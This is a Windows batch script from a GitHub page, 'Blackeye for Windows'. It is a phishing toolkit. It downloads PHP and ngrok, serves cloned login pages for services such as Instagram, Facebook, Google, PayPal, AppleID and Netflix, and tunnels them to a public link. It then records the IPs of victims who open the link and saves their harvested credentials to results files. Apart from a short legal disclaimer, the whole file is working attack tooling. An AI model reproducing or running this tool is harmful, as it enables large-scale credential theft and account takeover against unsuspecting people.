-
Notifications
You must be signed in to change notification settings - Fork 34
/
Copy pathblackeye.bat
396 lines (360 loc) · 11.4 KB
/
blackeye.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
@echo off
cls
del ext.bat >nul 2>&1
set ver=v1.1.6
title Blackeye for Windows %ver%
set php="%CD%\php\php.exe"
set ngrok="%CD%\ngrok.exe"
set jq="%CD%\jq.exe"
:main
call :checkbin
echo. & echo. & echo.
call :banner
cls
call :authngrok
:dowhile1
cls
call :menu
set m=%errorlevel%
if "%m%"=="1" exit /b 0
if 1==1 goto dowhile1
:end1
exit /b 0
:checkbin
echo Blackeye for Windows %ver%
if not exist %php% (
mkdir %php%\.. >nul 2>&1
echo.
echo Downloading php
echo.
if %PROCESSOR_ARCHITECTURE%==AMD64 curl -k -LJ https://windows.php.net/downloads/releases/archives/php-8.0.9-nts-Win32-vs16-x64.zip -o %php%.zip
if %PROCESSOR_ARCHITECTURE%==x86 curl -k -LJ https://windows.php.net/downloads/releases/archives/php-8.0.9-nts-Win32-vs16-x86.zip -o %php%.zip
7za.exe x -y -o%php%\.. %php%.zip
del %php%.zip
)
echo.
echo.
if exist %php% %php% -v
if not exist %ngrok% (
mkdir %ngrok%\.. >nul 2>&1
echo.
echo Downloading ngrok
echo.
if %PROCESSOR_ARCHITECTURE%==AMD64 curl -k -LJ https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o %ngrok%.zip
if %PROCESSOR_ARCHITECTURE%==x86 curl -k -LJ https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-386.zip -o %ngrok%.zip
7za.exe x -y -o%ngrok%\.. %ngrok%.zip
del %ngrok%.zip
)
echo.
if exist %ngrok% %ngrok% -v
if not exist %jq% (
echo.
echo Downloading jq
echo.
if %PROCESSOR_ARCHITECTURE%==AMD64 curl -k -LJ https://github.com/stedolan/jq/releases/latest/download/jq-win64.exe -o %jq%
if %PROCESSOR_ARCHITECTURE%==x86 curl -k -LJ https://github.com/stedolan/jq/releases/latest/download/jq-win32.exe -o %jq%
)
echo.
if exist %jq% %jq% --version
exit /b 0
:authngrok
setlocal enableextensions enabledelayedexpansion
if not exist %userprofile%\.ngrok2\ngrok.yml (
echo.
echo Authenticate ngrok! READ CAREFULLY:
echo.
echo This will open ngrok website. Login or Create a free account.
echo Then you will find your authtoken there. Copy that authtoken.
echo Press Enter if you are ready.
pause >nul
echo.
start "" https://dashboard.ngrok.com/get-started/your-authtoken
set /p authtoken="Paste or Enter your ngrok authtoken: "
%ngrok% authtoken !authtoken!
)
endlocal
exit /b 0
rem Option Menu
:menu
echo.
echo BLACKEYE FOR WINDOWS By @HiDe-Techno-Tips
echo.
echo MENU
echo. & echo.
echo [01] Instagram [16] Verizon [31] BitCoin
echo [02] FaceBook [17] DropBox [32] PlayStation
echo [03] SnapChat [18] Adobe [33] Shopping
echo [04] Twitter [19] Shopify [34] Amazon
echo [05] GithHub [20] Messenger [34] iCloud
echo [06] Google [21] GitLab [36] Spotify
echo [07] Origin [22] Twitch [37] Netflix
echo [08] Yahoo [23] MySpace [38] (ADVANCED) Custom page
echo [09] LinkedIn [24] Badoo [39] Extra Tools
echo [10] ProtonMail [25] VK [40] Update
echo [11] WordPress [26] Yandex
echo [12] Microsoft [27] DevianART
echo [13] IGFollowers [28] WiFi
echo [14] Pinterest [29] PayPal
echo [15] AppleID [30] Steam Press Enter to Exit
echo. & echo.
set "sel="
set /p "sel=Enter your choice (Enter to Exit): "
if "%sel%"=="01" ( set server=Instagram
) else if "%sel%"=="02" ( set server=FaceBook
) else if "%sel%"=="03" ( set server=SnapChat
) else if "%sel%"=="04" ( set server=Twitter
) else if "%sel%"=="05" ( set server=Github
) else if "%sel%"=="06" ( set server=Google
) else if "%sel%"=="07" ( set server=Origin
) else if "%sel%"=="08" ( set server=Yahoo
) else if "%sel%"=="09" ( set server=LinkedIn
) else if "%sel%"=="10" ( set server=ProtonMail
) else if "%sel%"=="11" ( set server=WordPress
) else if "%sel%"=="12" ( set server=MicroSoft
) else if "%sel%"=="13" ( set server=InstaFollowers
) else if "%sel%"=="14" ( set server=Pinterest
) else if "%sel%"=="15" ( set server=AppleID
) else if "%sel%"=="16" ( set server=Verizon
) else if "%sel%"=="17" ( set server=DropBox
) else if "%sel%"=="18" ( set server=Adobe
) else if "%sel%"=="19" ( set server=Shopify
) else if "%sel%"=="20" ( set server=Messenger
) else if "%sel%"=="21" ( set server=GitLab
) else if "%sel%"=="22" ( set server=Twitch
) else if "%sel%"=="23" ( set server=MySpace
) else if "%sel%"=="24" ( set server=Badoo
) else if "%sel%"=="25" ( set server=VK
) else if "%sel%"=="26" ( set server=Yandex
) else if "%sel%"=="27" ( set server=DevianART
) else if "%sel%"=="28" ( set server=WiFi
) else if "%sel%"=="29" ( set server=PayPal
) else if "%sel%"=="30" ( set server=Steam
) else if "%sel%"=="31" ( set server=BitCoin
) else if "%sel%"=="32" ( set server=PlayStation
) else if "%sel%"=="33" ( set server=Shopping
) else if "%sel%"=="34" ( set server=Amazon
) else if "%sel%"=="35" ( set server=iCloud
) else if "%sel%"=="36" ( set server=Spotify
) else if "%sel%"=="37" ( set server=Netflix
) else if "%sel%"=="38" ( set /p server="Enter full path to directory containing index file of your custom page: "
) else if "%sel%"=="39" (
echo.
echo Not available yet!
echo Will be available in version 2.0.0 and later. Current version is %ver%.
echo.
call :update
exit /b 0
) else if "%sel%"=="40" (
call :update
exit /b 0
) else if "%sel%"=="" ( exit /b 1
) else ( echo Wrong Choice! Try Again
timeout /t 2 >nul
exit /b 0 )
call :exec
exit /b 0
:update
echo.
echo Check for updates ^(y/n^)^?
choice /cs /c yYnN >nul
set u=%errorlevel%
set res=0
if %u%==1 set res=1
if %u%==2 set res=1
if %res%==1 (call :cdownload)
exit /b 0
:cdownload
cls
del blackeye.json >nul 2>&1
curl -k -s https://api.github.com/repos/HiDe-Techno-Tips/Blackeye-for-windows/releases/latest > blackeye.json
for /f %%g in ('type blackeye.json ^| jq .tag_name') do (set lver=%%g)
del blackeye.json >nul 2>&1
if "%ver%"==%lver% (
echo You have the Latest version.
timeout /t 2 >nul
) else (
call :download
)
exit /b 0
:download
echo Download %lver% ^(y/n^)^?
choice /cs /c yYnN >nul
set u=%errorlevel%
set res=0
if %u%==1 set res=1
if %u%==2 set res=1
if %res%==1 (
echo.
echo Downloading Blackeye for Windows %lver%
echo.
del blackeye.zip
curl -k -LJ https://github.com/HiDe-Techno-Tips/Blackeye-for-Windows/releases/latest/download/Blackeye-for-Windows.zip -o blackeye.zip
goto :extract
)
exit /b 0
:extract
echo @echo off >ext.bat
echo 7za.exe x -y -o"%%CD%%" blackeye.zip >>ext.bat
echo del Blackeye.zip ^>nul 2^>^&1 >>ext.bat
echo start "" blackeye.bat >>ext.bat
echo exit >>ext.bat
start "" ext.bat
exit
:checkdirectory
if "%~dp0"=="%CD%\" exit /b 0
echo Your Currect Directory is %CD%. Changing directory to "%~dp0", location of "%~n0"
echo Use popd command to return to previous directory.
Pushd "%~dp0"
echo.
echo Press Enter to Continue.
pause >nul 2>&1
cls
exit /b 0
:checkfiles
call :checkdirectory
set serv=1
if not exist "sites\%server%\index.php" ( set serv=0
echo index.php
)
if not exist "sites\%server%\login.html" (
if not exist "sites\%server%\index.html" ( set serv=0
echo index.html or login.html
)
)
if not exist "sites\%server%\ip.php" ( set serv=0
echo ip.php
)
if "%serv%"=="0" ( echo.
echo "%server%" error! The above mentioned files are missing from "%CD%\sites\%server%". If you did not move any files, please report this error.
echo Open GitHub to report issue ^(y/n^)^?
choice /cs /c yYnN >nul
set c=%ERRORLEVEL%
set res=0
if "%c%"=="1" set res=1
if "%c%"=="2" set res=1
if "%res%"=="1" start "" "https://github.com/HiDe-Techno-Tips/Blackeye-for-Windows/issues/new"
exit /b 1
)
exit /b 0
:stop
taskkill /f /im php.exe >nul 2>&1
taskkill /f /im ngrok.exe >nul 2>&1
exit /b 0
:banner
echo.
echo DISCLAIMER
echo Phishing is illegal. Usage of any hacking tools for hacking targets
echo without prior mutual written consent is illegal and punishable by
echo law. It's the end user's responsibility to obey all applicable laws.
echo Developers assume no liability and are not responsible for any misuse
echo or damage caused by this program.
echo. & echo.
echo Press any key to Continue only if you AGREE to the above DISCLAIMER.
pause >nul
exit /b 0
:save
call :refresh
call :stop
mkdir results >nul 2>&1
mkdir "results\%server%\" >nul 2>nul
more "sites\%server%\ip.txt" >> "results\%server%\ip.txt"
more "sites\%server%\usernames.txt" >> "results\%server%\usernames.txt"
del /f "sites\%server%\usernames.txt" >nul 2>&1
del /f "sites\%server%\ip.txt" >nul 2>&1
echo.
echo Harvest Saved in "%CD%\results\%server%\usernames.txt"
echo.
echo Press any key to Continue...
pause >nul
exit /b 0
:refresh
setlocal enableextensions enabledelayedexpansion
set /a count=0
for /f "tokens=* delims=IP" %%p in ('findstr /c:"IP:" "sites\%server%\ip.txt"') do (
set /a count+=1
)
endlocal && set total=%count%
cls
echo Phishing page link: %link%
echo. & echo. & echo.
echo The following %total% victim(s) opened the %server% Phishing link:
echo.
more "sites\%server%\ip.txt"
setlocal enableextensions enabledelayedexpansion
set /a count=0
for /f "tokens=* delims=IP" %%p in ('findstr /c:"IP:" "sites\%server%\usernames.txt"') do (
set /a count+=1
)
endlocal && set total=%count%
echo. & echo. & echo.
echo Credential Harvest from %total% victim(s):
echo.
more "sites\%server%\usernames.txt"
echo. & echo.
exit /b 0
:harvestcredentials
call :refresh
echo Press S to stop %server% server and save the Harvest...
choice /t 5 /c RS /D R /N >nul 2>&1
set h=%ERRORLEVEL%
if "%h%"=="1" timeout /t 5 >nul 2>&1
if "%h%"=="1" goto :harvestcredentials
call :save
exit /b 0
:getcredentials
echo. & echo.
echo Waiting for victim(s) to login...
:dowhile2
if exist "sites\%server%\usernames.txt" (
call :harvestcredentials
exit /b 0
)
timeout /t 5 >nul 2>&1
goto dowhile2
:end2
exit /b 0
:catchip
setlocal enableextensions enabledelayedexpansion
set /a count=0
for /f "tokens=* delims=IP" %%p in ('findstr /c:"IP:" "sites\%server%\ip.txt"') do (
set /a count+=1
)
endlocal && set total=%count%
cls
echo Phishing page link: %link%
echo. & echo. & echo.
echo The following %total% victim(s) opened the %server% Phishing link:
echo.
more "sites\%server%\ip.txt"
call :getcredentials
exit /b 0
:checkfound
cls
echo Phishing page link: %link%
echo. & echo. & echo.
echo Waiting for Victim(s) to open the %server% Phishing link...
:dowhile3
if exist "sites\%server%\ip.txt" (
call :catchip
exit /b 0
)
timeout /t 5 >nul 2>&1
goto dowhile3
:end3
exit /b 0
:exec
call :stop rem To stop php and ngrok if running
del /f "sites\%server%\usernames.txt" >nul 2>&1
del /f "sites\%server%\ip.txt" >nul 2>&1
start /b "" %php% -S localhost:80 -t "sites\%server%\" >nul 2>&1
start /b "" %ngrok% http 80 >nul 2>&1
cls
echo Phishing page link: Generating! You will be redirected to the ngrok tunnels page. Please Wait...
echo. & echo. & echo.
echo Starting %server% Server...
echo.
timeout /t 5 /nobreak >nul
for /f %%l in ('curl -k --silent http://127.0.0.1:4040/api/tunnels ^| %jq% .tunnels[1].public_url') do set link=%%l
start "" http://localhost:4040
call :checkfound
exit /b 0